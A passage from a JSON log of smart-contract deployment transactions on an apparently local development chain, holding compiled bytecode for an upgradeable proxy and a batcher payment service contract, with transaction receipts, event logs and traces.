05b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":9,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000002000000000000000000000008000000000000000000000000000000000000000000020000000000000000000000000040000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x7e8357398693b88e866f5cd0353b4f66ebcbfc705af16126e2033d1545b14d6f","block_number":6},{"info":{"transaction_hash":"0xfcbb0c5242cdb760304c93df27d590eef52814e856c2ee7005005fb0c7216158","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a06040523060805234801561001457600080fd5b5061001d610022565b6100e2565b600054610100900460ff161561008e5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff90811610156100e0576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b608051611a95610119600039600081816105e801528181610628015281816106d90152818161071901526107ac0152611a956000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d8565b61090b565b34801561040157600080fd5b5061024f6104103660046117a0565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117eb565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036106265760405162461bcd60e51b81526004016104e3906117fe565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031661066f600080516020611a19833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e39061184a565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036107175760405162461bcd60e51b81526004016104e3906117fe565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316610760600080516020611a19833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e39061184a565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a1983398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611896565b116109c1578361099f8285611896565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec6118ad565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118c3565b919050555085816000016000828254610a8691906117eb565b9250508190555050508080610a9a906118dc565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d908990600401611901565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611896565b610b6b91906117eb565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb291810190611941565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a1983398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e39061195a565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e39061195a565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e39061195a565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a1983398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e39061195a565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e39061195a565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119c9565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a39602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119e5565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff8111156115fa57600080fd5b8301601f8101851361160b57600080fd5b803567ffffffffffffffff811115611625576116256115aa565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715611654576116546115aa565b60405281815282820160200187101561166c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b60008083601f84011261169e57600080fd5b50813567ffffffffffffffff8111156116b657600080fd5b6020830191508360208260051b85010111156116d157600080fd5b9250929050565b60008060008060008060008060c0898b0312156116f457600080fd5b88359750602089013567ffffffffffffffff81111561171257600080fd5b8901601f81018b1361172357600080fd5b803567ffffffffffffffff81111561173a57600080fd5b8b602082840101111561174c57600080fd5b60209190910197509550604089013567ffffffffffffffff81111561177057600080fd5b61177c8b828c0161168c565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117b557600080fd5b83356117c08161155f565b925060208401356117d08161155f565b915060408401356117e08161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd5b6000600182016118d5576118d5611536565b5060010190565b600063ffffffff821663ffffffff81036118f8576118f8611536565b60010192915050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561195357600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119c05781810151838201526020016119a8565b50506000910152565b600082516119db8184602087016119a5565b9190910192915050565b6020815260008251806020840152611a048160408501602087016119a5565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206748051d7a2f61bea55c916703299805f41105f129e68bce3e4f529bc9c61fa664736f6c634300081c0033","output":"0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d8565b61090b565b34801561040157600080fd5b5061024f6104103660046117a0565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117eb565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba31630036106265760405162461bcd60e51b81526004016104e3906117fe565b7f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba36001600160a01b031661066f600080516020611a19833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e39061184a565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba31630036107175760405162461bcd60e51b81526004016104e3906117fe565b7f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba36001600160a01b0316610760600080516020611a19833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e39061184a565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba3161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a1983398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611896565b116109c1578361099f8285611896565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec6118ad565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118c3565b919050555085816000016000828254610a8691906117eb565b9250508190555050508080610a9a906118dc565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d908990600401611901565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611896565b610b6b91906117eb565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb291810190611941565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a1983398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e39061195a565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e39061195a565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e39061195a565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a1983398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e39061195a565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e39061195a565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119c9565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a39602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119e5565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff8111156115fa57600080fd5b8301601f8101851361160b57600080fd5b803567ffffffffffffffff811115611625576116256115aa565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715611654576116546115aa565b60405281815282820160200187101561166c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b60008083601f84011261169e57600080fd5b50813567ffffffffffffffff8111156116b657600080fd5b6020830191508360208260051b85010111156116d157600080fd5b9250929050565b60008060008060008060008060c0898b0312156116f457600080fd5b88359750602089013567ffffffffffffffff81111561171257600080fd5b8901601f81018b1361172357600080fd5b803567ffffffffffffffff81111561173a57600080fd5b8b602082840101111561174c57600080fd5b60209190910197509550604089013567ffffffffffffffff81111561177057600080fd5b61177c8b828c0161168c565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117b557600080fd5b83356117c08161155f565b925060208401356117d08161155f565b915060408401356117e08161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696